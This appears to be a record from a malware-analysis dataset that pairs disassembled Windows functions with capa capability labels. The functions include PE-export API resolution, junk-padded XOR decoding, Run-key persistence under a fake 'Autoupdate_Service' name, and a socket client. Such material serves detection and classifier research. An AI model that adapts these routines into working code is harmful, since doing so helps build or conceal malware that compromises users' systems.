joyce8/EMBER2024-capa huggingface dataset:
Function at 0x122ed00
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [0xf590e0]
test esi, esi
jne 0x122ed18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x122ed11
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x122ed11
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x1c]
add eax, esi
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x122ed7a
jmp 0x122ed60
mov eax, dword [ebx + edi*4]
mov ecx, dword [0xf58bf0]
add eax, esi
call fcn.0122c7e0
test eax, eax
je 0x122ed83
inc edi
cmp edi, dword [ebp - 4]
jb 0x122ed60
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
pop ebx
add eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4184e8
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x418515
call fcn.0040609e
mov dword [eax], esi
call fcn.0040608b
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040b9a4
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418533
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004060b1
pop ecx
jmp 0x418510
test byte [esp + 0xc], 0x80
je 0x41853f
and eax, 0xfffffffe
jmp 0x418542
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x418524
xor eax, eax
pop esi
ret

Function at 0x42c005
Capabilities:
Packed with generic packer

Disassembly:
jmp fcn.0042a8d0
jmp section.42vab535
Function at 0xed4613
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
js 0x1017c8c
jmp 0xf187dc
dec edi
jmp 0xede981
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x114
push esi
clc
stc
test ecx, ecx
jmp 0xfb6372
mov dword [ebp - 0xc], eax
jmp 0xc1c2b0
test esi, esi
jmp 0xffcbb0
ret
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea esi, [edi + ebx]
cmc
test si, dx
sar esi, 1
clc
stc
mov eax, dword [eax + esi*4]
clc
cmc
jmp 0x100db0e
je 0xfa5707
sub eax, eax
pop esi
jmp 0x10ff22d
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0xf26412
mov edx, dword [eax + ecx + 0x78]
test ax, 0x5ac4
mov dword [ebp - 4], edx
stc
test edx, edx
jmp 0x10100f4
jle 0x1017c57
lea ebx, [esi + 1]
mov ecx, dword [ebp + 8]
cmp ebx, edi
jmp 0x100a0cf
je 0xf26412
mov esi, dword [ebp + 0xc]
jmp 0xee6eb6
mov dword [ebp - 8], eax
jmp 0xebbfe3
mov edi, dword [edx + ecx + 0x18]
stc
test edi, edi
je 0x1017c8c
mov eax, dword [edx + ecx + 0x20]
lea eax, [eax + ecx]
test esp, 0x7d224155
cmp edi, eax
sub ebx, ebx
jmp 0xc3b8ef
jmp 0xfb2059
je 0xf26412
mov eax, 0x5a4d
cmp word [ecx], ax
jmp 0xf2640c
jle 0xf187d9
jmp 0x1017c89
push edx
xadd dh, dl
mov edx, dword [ebp + 0xc]
test cx, si
jmp 0x111a688
je 0xf26412
mov eax, dword [eax + ecx + 0x7c]
push ebx
cmp bl, 0xfc
cmc
push edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0xffffffff
cmp esi, ebx
cmc
test dh, bl
cmp esi, 0xffff
jmp 0x1029e81
mov eax, dword [ebp + 8]
neg ch
ror cl, cl
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + eax + 0x24]
cmc
lea ecx, [edx + esi*2]
shld edx, eax, 0xff
xor edx, 0x4ea65565
movzx edx, word [ecx + eax]
shr ch, cl
btr cx, cx
mov dword [ebp - 8], edx
bsr dx, cx
mov ecx, eax
cmp ch, 0x92
mov edx, dword [ebp - 4]
ja 0xfcc7ae
mov eax, esi
test di, 0x53a
clc
sub eax, dword [edx + ecx + 0x10]
jmp 0xfc3a06
mov esp, ebp
movsx ebp, di
mov ebp, esp
pop ebp
jmp 0xf1360f
add eax, ecx
call fcn.00f306b3
add esp, 4
cmp cx, 0x7bf4
test cx, di
test eax, eax
jns 0xfb2050
lea edi, [esi - 1]
jmp 0xfed142
Function at 0x10006f18
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
and dword [ebp - 8], 0
push esi
push edi
push 2
push 0
push dword [ebp + 8]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
mov dword [ebp + 8], edi
jne 0x10006f65
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x10006f5e
call esi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
jmp 0x1000702a
xor esi, esi
jmp 0x1000702a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10006f8b
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jne 0x10006f9b
xor esi, esi
jmp 0x10007021
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x10006fad
jmp 0x10006f78
call esi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
jmp 0x10007021
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov edi, ebx
cmp byte [esi + ebx], 0
je 0x10006fe0
lea eax, [esi + 1]
add eax, 3
and al, 0xfc
call fcn.1000a1f0
lea eax, [esi + 1]
mov edi, esp
push eax
push ebx
push edi
call fcn.10009c30
add esp, 0xc
and byte [edi + esi], 0
test edi, edi
jne 0x10006fe8
xor ebx, ebx
jmp 0x10007013
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.1000a1f0
mov ebx, esp
push esi
push ebx
xor eax, eax
push 0xffffffffffffffff
push edi
push eax
push eax
mov word [ebx], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push dword [ebp + 0x14]
lea ecx, [ebp - 8]
push ebx
call fcn.10007036
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea esp, [ebp - 0x14]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10007979
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x2001f
push dword [ebp + 8]
mov ebx, ecx
xor esi, esi
lea ecx, [ebp - 4]
push dword [ebx]
mov dword [ebp - 4], esi
call fcn.1000793b
mov edi, eax
cmp edi, esi
je 0x100079b9
cmp dword [ebp - 4], esi
je 0x100079b2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x10007a56
lea eax, [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push eax
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], 0x100
push eax
push esi
push dword [ebp - 4]
call edi
test eax, eax
jne 0x10007a2a
lea eax, [ebp - 0x214]
lea ecx, [ebp - 4]
push eax
call fcn.10007979
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x10007a17
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 0x100
push eax
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x214]
push eax
push esi
push dword [ebp - 4]
jmp 0x100079dc
cmp dword [ebp - 4], esi
je 0x10007a25
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
jmp 0x10007a56
cmp dword [ebp - 4], esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x10007a3d
push dword [ebp - 4]
call edi
mov dword [ebp - 4], esi
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp dword [ebp - 4], esi
mov ebx, eax
je 0x10007a54
push dword [ebp - 4]
call edi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10007a5d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4018
call fcn.1000a1f0
push ebx
push esi
push edi
lea eax, [ebp - 0x4018]
mov edi, ecx
push eax
mov dword [ebp - 0x18], edi
call fcn.10007192
xor esi, esi
cmp eax, esi
jl 0x10007be0
lea eax, [ebp - 0xe]
push eax
lea eax, [ebp - 0x4018]
push eax
call fcn.10007bed
pop ecx
test eax, eax
pop ecx
jne 0x10007aa8
mov eax, 0x80020009
jmp 0x10007be0
mov ecx, edi
call fcn.10007169
lea eax, [ebp - 0x2018]
mov ecx, edi
push eax
call fcn.10007192
cmp eax, esi
jl 0x10007be0
movzx eax, word [ebp - 0xe]
sub eax, 8
je 0x10007ba5
sub eax, 9
je 0x10007b05
dec eax
dec eax
jne 0x10007bcf
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x2018]
push esi
push eax
call dword [sym.imp.OLEAUT32.dll_VarUI4FromDisp]
mov eax, dword [ebp - 0x14]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
jmp 0x10007bc0
lea eax, [ebp - 0x2018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test al, 1
mov dword [ebp - 8], eax
jne 0x10007b3d
cdq
sub eax, edx
mov ebx, eax
sar ebx, 1
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.1000a1f0
mov edi, esp
push ebx
push esi
push edi
call fcn.1000a690
add esp, 0xc
cmp edi, esi
jne 0x10007b47
mov eax, 0x80004005
jmp 0x10007be0
cmp dword [ebp - 8], esi
mov dword [ebp - 4], esi
jle 0x10007b95
lea eax, [ebp - 0x2018]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cdq
sub eax, edx
sar eax, 1
lea esi, [eax + edi]
mov eax, dword [ebp - 0xc]
mov ax, word [eax]
push eax
call fcn.10007c74
pop ecx
add dword [ebp - 0xc], 2
mov ecx, dword [ebp - 4]
push 4
and ecx, 1
shl ecx, 2
mov edx, ecx
pop ecx
sub ecx, edx
shl al, cl
or byte [esi], al
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jl 0x10007b58
xor esi, esi
mov eax, dword [ebp + 8]
push ebx
push edi
push 3
mov eax, dword [eax]
push esi
push dword [ebp + 0xc]
push eax
jmp 0x10007bc9
lea eax, [ebp - 0x2018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x2018]
push eax
push 1
mov eax, dword [ebp + 8]
push esi
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x18]
call fcn.10007192
cmp eax, esi
jl 0x10007be0
xor eax, eax
lea esp, [ebp - 0x4024]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10008d5e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
and dword [ebp - 4], 0
lea esi, [0x100014dc]
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
mov ecx, dword [esi]
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
mov dword [ebp - 4], ecx
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
lea esi, [esi + 4]
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
mov edi, dword [ebp + 8]
lodsb al, byte [esi]
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
xor al, 0x57
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
stosb byte es:[edi], al
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
sub ecx, 1
jne 0x10008e7a
add ecx, dword [0x100014d4]
mov edx, edx
lea eax, [eax]
sub ebx, dword [0x100014c8]
add edx, dword [0x100014d0]
lea edx, [edx]
sub edx, dword [0x100014d0]
dec edx
mov ebx, ebx
inc edx
sub eax, dword [0x100014cc]
lea ecx, [ecx]
lea esi, [esi]
sub ecx, dword [0x100014d4]
add eax, dword [0x100014cc]
add ebx, dword [0x100014c8]
lea edi, [edi]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov dword [0x405a90], 0
call fcn.00401a30
mov dword [0x405aa0], 0
mov eax, dword [0x405aa0]
mov dword [0x405a94], eax
mov ecx, dword [0x405a94]
mov dword [0x405a9c], ecx
mov edx, dword [0x405a9c]
mov dword [0x405a98], edx
mov ecx, 0x7d0
xor eax, eax
mov edi, 0x4079e4
rep stosd dword es:[edi], eax
cmp dword [0x405a9c], 0
jne 0x40123d
cmp dword [0x405aa0], 0xa
jle 0x40117b
push 0x36ee80
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [0x405aa0], 0
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x405a98], 0x20
jle 0x40119f
cmp dword [0x405a9c], 0
jne 0x40119f
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401183
cmp dword [0x405a9c], 0
je 0x4011ad
jmp 0x40123d
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7d0
idiv ecx
mov dword [ebp - 8], edx
mov edx, dword [ebp - 8]
cmp dword [edx*4 + 0x405aa4], 0
je 0x4011d7
mov eax, dword [ebp - 8]
cmp dword [eax*4 + 0x4079e4], 0
je 0x4011dc
jmp 0x401150
mov ecx, dword [ebp - 8]
mov dword [ecx*4 + 0x4079e4], 1
mov edx, dword [0x405a98]
add edx, 1
mov dword [0x405a98], edx
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
push 0x401530
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401238
mov edx, dword [0x405a98]
sub edx, 1
mov dword [0x405a98], edx
mov eax, dword [ebp - 8]
mov dword [eax*4 + 0x4079e4], 0
jmp 0x401150
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x401750
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0
push str.DEAD_AAAAAAAAAAAAAAAA_BEEF
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x40b524], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x401795
push 1
call sub.MSVCRT.dll_exit
cmp dword [0x40b524], 0
jne 0x4017ab
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40176b
mov esp, ebp
pop ebp
ret
Function at 0x4018a0
Capabilities:
Get routing table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push edi
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
cmp dword [0x409924], 0
je 0x4018d7
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4018c4
mov dword [0x409924], 1
mov eax, dword [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call sub.iphlpapi.dll_GetIpForwardTable
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x7a
jne 0x401935
mov eax, dword [ebp - 0x4c]
push eax
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x401921
mov dword [0x409924], 0
xor eax, eax
jmp 0x401a26
mov ecx, dword [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x44]
push eax
call sub.iphlpapi.dll_GetIpForwardTable
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x401958
mov ecx, dword [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_free
add esp, 4
mov dword [0x409924], 0
xor eax, eax
jmp 0x401a26
mov dword [ebp - 0x48], 0
jmp 0x40196a
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [eax]
jae 0x401a0e
mov edx, dword [ebp - 0x48]
imul edx, edx, 0x38
mov eax, dword [ebp - 0x44]
lea esi, [eax + edx + 4]
mov ecx, 0xe
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x48]
imul ecx, ecx, 0x38
mov edx, dword [ebp - 0x44]
cmp dword [edx + ecx + 4], 0
jne 0x401a09
mov eax, dword [ebp - 0x2c]
and eax, 0xff
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x2c]
shr ecx, 8
and ecx, 0xff
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x2c]
shr edx, 0x10
and edx, 0xff
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x2c]
shr eax, 0x18
and eax, 0xff
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x50], 0
jne 0x4019ee
cmp dword [ebp - 0x54], 0
jne 0x4019ee
cmp dword [ebp - 0x58], 0
jne 0x4019ee
cmp dword [ebp - 0x5c], 0
je 0x401a09
mov ecx, dword [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_free
add esp, 4
mov dword [0x409924], 0
mov eax, dword [ebp - 0x2c]
jmp 0x401a26
jmp 0x401961
mov edx, dword [ebp - 0x44]
push edx
call sub.MSVCRT.dll_free
add esp, 4
mov dword [0x409924], 0
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401b90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401bc0
mov eax, dword [ebp + 0x10]
jmp 0x401bc2
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401c20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x70], 0x64
mov dword [ebp - 4], 1
mov dword [0x409928], 0
mov dword [0x40992c], 0
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.Keyboard_LayoutPreload
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d0c
mov dword [ebp - 0x78], 0
jmp 0x401c80
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
cmp dword [ebp - 0x78], 2
jge 0x401d02
mov edx, dword [ebp - 0x78]
add edx, 0x31
mov byte [ebp - 0x7c], dl
mov byte [ebp - 0x7b], 0
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 4]
push edx
push 0
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401cfd
lea edx, [ebp - 0x6c]
push edx
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffff
jle 0x401cd4
mov dword [ebp - 0x80], 0xffff
jmp 0x401cda
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x74], ecx
cmp dword [ebp - 0x78], 0
jne 0x401cef
mov edx, dword [ebp - 0x74]
mov dword [0x409928], edx
cmp dword [ebp - 0x78], 1
jne 0x401cfd
mov eax, dword [ebp - 0x74]
mov dword [0x40992c], eax
jmp 0x401c77
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402700
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
cmp dword [ebp - 4], ecx
je 0x402740
xor eax, eax
jmp 0x402743
mov eax, dword [ebp + 0xc]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x402750
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov byte [eax], 0
mov ecx, 1
test ecx, ecx
je 0x4027c7
mov edx, dword [ebp + 0x10]
sub edx, 1
cmp dword [ebp - 8], edx
jl 0x402779
jmp 0x4027c7
push 0
push 1
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 1
je 0x402794
xor eax, eax
jmp 0x4027d3
movsx edx, byte [ebp - 4]
cmp edx, 0xd
je 0x4027ba
movsx eax, byte [ebp - 4]
cmp eax, 0xa
je 0x4027ba
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ecx], dl
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
movsx ecx, byte [ebp - 4]
cmp ecx, 0xa
jne 0x4027c5
jmp 0x4027c7
jmp 0x402763
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 8]
mov byte [edx], 0
mov eax, dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x402be0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns
Set socket configuration
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
call fcn.00401a30
mov dword [0x409d38], 0
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x7d0
mov dword [0x409da0], edx
lea edx, [ebp - 0xc]
push edx
push 0
push 0
push 0x402d50
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402c37
xor eax, eax
jmp 0x402d4a
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x10], 0
push 1
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x402d30
mov dword [ebp - 0x2c], 0x7d00
push 4
lea eax, [ebp - 0x2c]
push eax
push 0x1006
push 0xffff
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 0x2c]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov word [ebp - 0x24], 2
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402d1a
mov edx, dword [ebp - 0x10]
movsx ecx, word [edx + 0xa]
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov esi, dword [edx]
lea edi, [ebp - 0x20]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov cx, word [0x409da0]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp - 0x28]
push eax
push 0x402ba0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 4], eax
push 0x10
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.WS2_32.dll_connect]
push 2
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [0x409d38], 0
jne 0x402d45
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [0x409d38]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402e70
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push str.Autoupdate_Service
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call fcn.00401b10
add esp, 0x14
test eax, eax
je 0x402e99
mov eax, 1
jmp 0x402e9b
xor eax, eax
pop ebp
ret